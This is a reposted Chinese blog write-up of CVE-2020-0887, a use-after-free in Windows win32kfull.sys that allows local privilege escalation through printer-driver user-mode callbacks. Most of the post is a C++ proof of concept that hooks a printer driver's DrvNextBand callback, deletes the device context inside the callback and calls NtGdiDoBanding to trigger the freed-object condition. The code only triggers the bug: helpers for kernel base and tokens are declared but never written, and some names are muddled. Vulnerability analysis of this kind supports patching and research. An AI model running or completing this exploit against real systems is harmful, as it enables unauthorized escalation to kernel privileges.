其他分享
首页 > 其他分享> > CVE-2020-0887漏洞分析

CVE-2020-0887漏洞分析

作者:互联网

0x00漏洞信息

漏洞影响:本地提权

漏洞文件:win32kfull.sys

漏洞函数:GreDoBanding/GreExtTextOutWLocked

漏洞原因:UAF

漏洞日期:2020 年 3 月 10 日

0x01漏洞分析

打印机设备上下文 Use-After-Free 权限提升漏洞

1.具体的缺陷存在于win32kfull!GreExtTextOutWLocked函数。这个问题是由于在对表面对象执行操作之前没有验证表面对象的存在。当GreExtTextOutWLocked调用UMPDDrvTextOut函数时,UMPDDrvTextOut可以触发一个用户模式回调到Ring3代码并释放表面对象,这导致当返回内核时用户释放后的条件

2.win32kfull!GreDoBanding函数调用UMPDDrvNextBand函数时,UMPDDrvNextBand可以触发一个用户模式回调到Ring3代码并释放表面对象,这导致当返回内核时用户释放后的条件。

0x2poc

#include<windows.h>
#include<winddi.h>
#include<winspool.h>
#include <winternl.h>
#include <stdio.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib ")
#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L) 

#define ThreadNameInformation 0x26
#define SystemExtendedHandleInformation  64
#define SystemBigPoolInformation 66

using ZwQuerySystemInformation_t = NTSTATUS(*)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength);

using NtSetInformationThread_t = NTSTATUS(*)(
    HANDLE threadHandle,
    THREADINFOCLASS threadInformationClass,
    PVOID threadInformation,
    ULONG threadInformationLength);


using DrvEnableDriver_t = BOOL(*)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded);

using DrvEnablePDEV_t = DHPDEV(*)(
    SURFOBJ* pso, POINTL* pptl);

using DrvEnablePDEV_t = DHPDEV(*)(
    SURFOBJ* pso, POINTL* pptl);

using DrvDisableDriver_t = void(*)();

typedef struct _SYSTEM_BIGPOOL_ENTRY
{
    union
    {
        PVOID VirtualAddress;
        ULONG_PTR NonPaged : 1;     // Set to 1 if entry is nonpaged.
    };
    SIZE_T SizeInBytes;
    union
    {
        UCHAR Tag[4];
        ULONG TagUlong;
    };
} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;

typedef struct _SYSTEM_BIGPOOL_INFORMATION
{
    ULONG Count;
    SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;

typedef struct _SYSTEM_HANDLE
{
    PVOID Object;
    HANDLE UniqueProcessId;
    HANDLE HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG_PTR HandleCount;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;



namespace g {
    DrvEnablePDEV_t OldDrvEnablePDEV = 0;
    DrvEnableDriver_t DrvEnableDriver = 0;
    DrvDisableDriver_t DrvDisableDriver = 0;
    ZwQuerySystemInformation_t ZwQuerySystemInformation = 0;
    NtSetInformationThread_t NtSetInformationThread = 0;
    ULONG64 RtlSetAllBitsAddress = 0;
    PCHAR szKernelName = NULL;
    PCHAR szPrinterName = NULL;
    HANDLE hToken = INVALID_HANDLE_VALUE;
    ULONG64 KernelBase = 0;
    bool bIsTrigger = false;
    HDC hdc = 0;
};

void Hook_DrvEnablePDEV();
ULONG64 GetKernelBase();
bool Init();
ULONG64 GetToken();
DHPDEV DrvEnablePDEV_Proxy(
    SURFOBJ* pso, POINTL* pptl);

void Hook_DrvEnablePDEV() {
    DWORD cbBuf = 0;
    DWORD cbNeed, cReturned;
    PPRINTER_INFO_4 PrintInfo = NULL;
    DRVENABLEDATA DrvData;
    DWORD OldProtect;
    HANDLE hPrinter = INVALID_HANDLE_VALUE;

    //首先枚举本地安装的打印机,找到可用的
    EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &cbNeed, &cReturned);
    if (cbNeed <= 0) {
        printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find available printer.\n", __LINE__);
        exit(-1);
    }
    PrintInfo = (PPRINTER_INFO_4)GlobalAlloc(GMEM_ZEROINIT, cbNeed);
    if (PrintInfo == NULL) {
        printf("[Error_%d] Hook_DrvEnablePDEV(): Insufficient system resource.\n", __LINE__);
        exit(-1);
    }
    if (!EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (PBYTE)PrintInfo, cbNeed, &cbNeed, &cReturned)
        || cReturned <= 0) {
        printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find available printer.\n", __LINE__);
        exit(-1);
    }

    // 循环查找打印机
    for (DWORD i = 0; i < cReturned; i++) {
        if (!OpenPrinterA(PrintInfo[i].pPrinterName, &hPrinter, NULL)) {
            printf("[Error_%d] Hook_DrvEnablePDEV(): OpenPrinterA failed.\n", __LINE__);
            continue;
        }
        else {
            printf("[+] Using a available printer: %s.\n", PrintInfo[i].pPrinterName);
            g::szPrinterName = _strdup(PrintInfo[i].pPrinterName);

            // 获取打印机驱动文件名
            GetPrinterDriverA(hPrinter, NULL, 2, NULL, NULL, &cReturned);
            if (cReturned <= 0) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): GetPrinterDriverA failed.\n", __LINE__);
                continue;
            }
            PDRIVER_INFO_2 DrvInfo = (PDRIVER_INFO_2)GlobalAlloc(GMEM_ZEROINIT, cReturned);
            if (DrvInfo == NULL) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): Insufficient system resource.\n", __LINE__);
                continue;
            }

            if (!GetPrinterDriverA(hPrinter, NULL, 2, (PBYTE)DrvInfo, cReturned, &cReturned) ||
                cReturned <= 0) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): GetPrinterDriverA failed.\n", __LINE__);
                continue;
            }

            HMODULE hPrinterDrv = LoadLibraryExA(DrvInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
            if (hPrinterDrv == NULL) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): LoadLibraryExA failed.\n", __LINE__);
                continue;
            }

            g::DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hPrinterDrv, "DrvEnableDriver");
            g::DrvDisableDriver = (DrvDisableDriver_t)GetProcAddress(hPrinterDrv, "DrvDisableDriver");
            if (g::DrvEnableDriver == NULL || g::DrvDisableDriver == NULL) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find target functions .\n", __LINE__);
                continue;
            }
            // 打开图形驱动,获取回调函数列表,里面有我们要HOOK的函数
            if (!g::DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &DrvData)) {
                printf("[Error_%d] Hook_DrvEnablePDEV(): DrvEnableDriver failed.\n", __LINE__);
                continue;
            }

            if (!VirtualProtect(DrvData.pdrvfn, DrvData.c * sizeof(PFN), PAGE_READWRITE, &OldProtect))
            {
                printf("[Error_%d] Hook_DrvEnablePDEV(): VirtualProtect failed.\n", __LINE__);
                continue;
            }

            for (DWORD i = 0; i < DrvData.c; i++) {
                if (DrvData.pdrvfn[i].iFunc == INDEX_DrvNextBand) {
                    // 保存并HOOK
                    g::OldDrvEnablePDEV = (DrvEnablePDEV_t)DrvData.pdrvfn[i].pfn;
                    DrvData.pdrvfn[i].pfn = (PFN)DrvEnablePDEV_Proxy;
                    break;
                }
            }
        }
        // 关闭图形驱动
        g::DrvDisableDriver();
        VirtualProtect(DrvData.pdrvfn, DrvData.c * sizeof(PFN), OldProtect, &OldProtect);

        return;
    }

}
HDC hdc1;
DHPDEV DrvEnablePDEV_Proxy(
    SURFOBJ * pso,POINTL * pptl) {

    DHPDEV res;
    
    pptl->x = 0xffffffff; 
    pptl->y = 0xffffffff;
    res = g::OldDrvEnablePDEV(pso, pptl);
    if (g::bIsTrigger) {
        printf("[+] DrvEnablePDEV_Proxy called.\n");
        EndDoc(hdc1);
        DeleteDC(hdc1);
    }
    return res;
}

typedef NTSTATUS(NTAPI* myfull)
(HDC a1, int a2, POINTL* a3, tagSIZE* a4);
int main(int argc, char* argv[])
{
    Hook_DrvEnablePDEV();//HOOK DrvTextOut  Microsoft XPS Document Writer
    hdc1 = CreateDCA(0, "Microsoft XPS Document Writer", 0, 0);//创建打印设备OneNote
    printf("[-] hdc: %p\n", hdc1);
    

    SetTextAlign(hdc1, 0xff);
    SetBkMode(hdc1, 2);
    DOCINFOW d1;
    d1.cbSize = sizeof(DOCINFOW);
    d1.lpszDocName = L"print1";
    d1.lpszOutput = d1.lpszDocName;
    d1.lpszDatatype = L"EMF";
    d1.fwType = 0xa8990032;

    // 用于设置每个字符间隔的数组  
    int arr1[3] = { 95,77, 0 };
    int arr2[3] = { 35, 40, 0 };
    int arr3[2] = { 32, 0 };
    RECT rec;
    rec.left = 5;//0
    rec.right = 6;//3
    rec.bottom = 8;//2
    rec.top = 7;//1
    POLYTEXT polys[] = { {2,2,5,"大家",2,rec,&arr3[0]},
    {2,25,5,"新年好",2,rec,&arr2[0]},
    {999,60,5,"快乐\0",2,rec,&arr3[0]},
        {30,60,5,"快乐\0",2,rec,&arr3[0]},
        {30,60,5,"快乐\0",2,rec,&arr3[0]}
    };
    g::bIsTrigger = TRUE;

    HINSTANCE LibHandle;
    LibHandle = LoadLibrary("win32u");
    myfull funtion = (myfull)GetProcAddress(LibHandle, "NtGdiDoBanding");

    int a = StartDocW(hdc1, &d1);//启动打印作业
    
    printf("[-] 打印机: %d\n", a);
    StartPage(hdc1);
    funtion(hdc1,0,0,0);
    EndPage(hdc1);
    POINTL * TE = (POINTL*)malloc(sizeof(POINTL));
    tagSIZE * TAG= (tagSIZE*)malloc(sizeof(tagSIZE));
    //TextOutA(hdc1, 0, 0, LPCSTR("Test String"), 11);
    //BeginPath(hdc1);
    //funtion(hdc1, 0, TE, TAG);

    //__debugbreak();
    
    //PolyTextOutA(hdc1, &polys[0], 5);

    
    //TextOutA(hdc1, 0, 0, LPCSTR("Test String"), 11);
    //EndPath(hdc1);
    
    getchar();
    return 0;
}

 

标签:HANDLE,ULONG,SYSTEM,hdc1,0887,2020,rec,CVE,DrvEnablePDEV
来源: https://www.cnblogs.com/feizianquan/p/16455927.html